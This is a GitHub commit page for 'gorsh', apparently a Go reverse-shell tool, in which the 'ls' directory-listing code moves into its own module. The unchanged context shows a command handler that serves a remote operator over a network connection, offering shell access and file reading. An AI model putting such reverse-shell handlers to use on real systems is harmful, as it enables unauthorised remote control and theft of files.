Skip to content

Commit

Permalink
move ls to module so it can be os-specific
Browse files Browse the repository at this point in the history
  • Loading branch information
audibleblink committed Sep 14, 2018
1 parent 000f33d commit ea8e0ae
Show file tree
Hide file tree
Showing 2 changed files with 36 additions and 31 deletions.
33 changes: 2 additions & 31 deletions cmd/gorsh/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ import (
"os/user"
"strings"

"code.cloudfoundry.org/bytefmt"
"github.com/audibleblink/gorsh/internal/directory"
"github.com/audibleblink/gorsh/internal/fetch"
"github.com/audibleblink/gorsh/internal/shell"
"github.com/audibleblink/gorsh/internal/sitrep"
Expand All @@ -39,34 +39,6 @@ func Send(conn net.Conn, msg string) {
conn.Write([]byte("\n"))
}

func ListDir(argv []string) (string, error) {
var path string

if len(argv) < 2 {
path = "./"
} else {
path = argv[1]
}

files, err := ioutil.ReadDir(path)

if err != nil {
return "", err
}

details := ""

for _, f := range files {
perms := f.Mode().String()
size := bytefmt.ByteSize(uint64(f.Size()))
modTime := f.ModTime().String()[0:19]
name := f.Name()
details = details + perms + "\t" + modTime + "\t" + size + "\t" + name + "\n"
}

return details, err
}

// Takes a network connection as its arg so it can pass stdio to it
func InteractiveShell(conn net.Conn) {
var (
Expand Down Expand Up @@ -95,7 +67,7 @@ func InteractiveShell(conn net.Conn) {
RunShell(conn)

case "ls":
listing, err := ListDir(argv)
listing, err := directory.List(argv)
if err != nil {
Send(conn, err.Error())
} else {
Expand Down Expand Up @@ -124,7 +96,6 @@ func InteractiveShell(conn net.Conn) {
if len(argv) != 2 {
Send(conn, "Usage: cat <file>")
} else {

buf, err := ioutil.ReadFile(argv[1])

if err != nil {
Expand Down
34 changes: 34 additions & 0 deletions internal/directory/directory.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
package directory

import (
"code.cloudfoundry.org/bytefmt"
"io/ioutil"
)

func List(argv []string) (string, error) {
var path string

if len(argv) < 2 {
path = "./"
} else {
path = argv[1]
}

files, err := ioutil.ReadDir(path)

if err != nil {
return "", err
}

details := ""

for _, f := range files {
perms := f.Mode().String()
size := bytefmt.ByteSize(uint64(f.Size()))
modTime := f.ModTime().String()[0:19]
name := f.Name()
details = details + perms + "\t" + modTime + "\t" + size + "\t" + name + "\n"
}

return details, err
}

0 comments on commit ea8e0ae

Please sign in to comment.